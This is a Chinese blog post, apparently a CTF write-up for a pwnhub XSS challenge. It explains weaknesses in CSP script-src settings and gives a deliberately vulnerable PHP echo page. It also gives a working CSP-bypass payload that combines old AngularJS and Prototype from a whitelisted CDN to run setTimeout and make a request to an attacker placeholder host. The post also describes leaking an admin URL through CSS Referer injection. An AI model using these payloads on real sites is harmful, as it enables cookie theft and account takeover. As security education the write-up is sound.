Fight For Freedom

02月 20

pwnhub“打开电脑”之“误”wp

官方给出了具体writeup,由于我之前理解错了思路,最终也没能做出来,不过其中还是发现了一些好玩的东西。

将题目网站所有流量抓下来,主要有四个页面。
max.php/min.php:提交name,hexdata和其md5值,并按序排列显示出来。
contact.php: 提交name,hexdata,md5值以及对md5的描述description。
bugreport.php:提交email和漏洞描述。
网站中的csp:
default-src *; img-src * data: blob:; frame-src 'self'; script-src 'self' cdn.bootcss.com 'unsafe-eval'; style-src 'self' cdn.bootcss.com 'unsafe-inline'; connect-src * wss:;
如果后台不经过任何过滤直接将contact.php中提交的description字段显示出来,那么我们需要解决的就是正常的盲打,绕过csp,从而获得管理员的cookie。
为什么猜测是description字段呢:
1. bugreport页面首先排除不是,随便提交都提示正确,并且网页返回时间很短,猜测是用来装饰的~,之后也有hint;
2. contact.php的name字段也被排除在外了,最开始在max或min页面对name提交非法字符时(regex: length<=16&&^\w+$),它是会提示invalid,自然而然会想到name在进数据库前会被判断过滤掉,应该不是xss触发点。
剩下的只有description字段了。
在csp规则中的script-src 'self' cdn.bootcss.com 'unsafe-eval',这条规则引起了我极大的兴趣。

这里总结下csp中script-src规则几种潜在的配置问题:
a. script-src: *
这基本上让csp的用处没有发挥出来,可使得攻击者任意加载脚本链接。
b. script-src: 'unsafe-inline'
只能执行网页中内嵌的js,对于攻击者来说,这同样可以去加载相应的恶意js脚本,但这很难根除,毕竟在开发生产中,内嵌的js应用相当广泛,从csp的防范配置上来讲只能是缓解了xss。
c. script-src: 'unsafe-eval'
这指setTimeout或eval等函数或方法得以有效执行,但csp默认是不会让这些函数执行的。这条规则在一定程度上帮助了攻击者去执行一些风险的脚本。
d. script-src: xx.xxxx.xxx
指定白名单,但其中的危害可以从两方面来讲,一方面是类似cdn的网站,上面拥有各种可能含有缺陷的库,比如AngularJS,可以不通过script标签以及事件来触发脚本,而是通过模板注入来执行js;另一方面则是类似使用户控制的白名单网站,比如*.sinaapp.com,其中子域名网站中的内容是可以被用户控制的,设置的白名单只是“伪白名单”罢了。

经过后来发现,有两种方法可以绕过题目中所给csp。
<?php
header('Content-Security-Policy: default-src *; img-src * data: blob:; frame-src \'self\'; script-src \'self\' cdn.bootcss.com \'unsafe-eval\'; style-src \'self\' cdn.bootcss.com \'unsafe-inline\'; connect-src * wss:;');
header('Content-Type: text/html; charset=utf-8');
header('X-Frame-Options: SAMEORIGIN');
?><!doctype html>
<html>
<body>
<?php echo $_GET['xss'];?>
</body>
</html>
针对该规则 script-src 'self' cdn.bootcss.com 'unsafe-eval' 来进行bypass。
第一种:
可引入含有缺陷的angularjs,那么可以达到在不引入script和img等危险标签的前提下进行xss。
并且,http://cdn.bootcss.com该网站上存在了各类前端的历史版本库。
具体原理和方法详见:
第二种:
后来搜索也发现了如下朋友是用了angularjs和prototypejs互相结合特性来触发脚本。
它利用prototypejs的curry属性和call(),会返回windows对象,而在windows对象中有alert方法以及setTimeout方法。
有趣的来了,题目也刚好给出了unsafe-eval这条规则,因此可很好地执行setTimeout方法。
但经测试发现,setTimeout不能用匿名函数,不能调库。具体原因可能是会与prototypejs及angularjs发生冲突

最终payload如下:

<script src="http://cdn.bootcss.com/angular.js/1.0.1/angular.js"></script>
<script src="http://cdn.bootcss.com/prototype/1.7.2/prototype.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().setTimeout("var xmlhttp=new XMLHttpRequest();xmlhttp.open('GET','http://ip',false);xmlhttp.send();",1000)}}
</div>

当然,正解应该是在最开始的min页面和max页面可观察到name是没有被双引号括起来的,由此在contact页面可在name中提交属性,比如style=background-image:url(x.x.x.x),可看到referer中看到管理员的后台地址,后面就xxoo了。
和我做法最大的差别点在于从name字段处的思考那就不一样的。
怼了一天,终归还是有点收获。

标签:none

还不快抢沙发

添加新评论

captcha
请输入验证码

最新文章

最近回复

  • lynahex:...Orz
  • chybeta:师傅好!
  • lynahex:拜大佬
  • cdxy:师傅好
  • lynahex:十分感谢解惑,特别是解决问题的方法。
  • ld:1. 搜索CVE-2016-0701 进入 https://cv...
  • lynahex:好的。
  • xdxd:友链已加~~~希望有机会多多交流~~
  • lynahex:恩,重测了下是可以的。可能当时一些危险函数被我禁掉了。 thx
  • 过客:虽然博主文章过了好久了,本地system测试还是可以执行的
  • 友情链接

    分类

    其它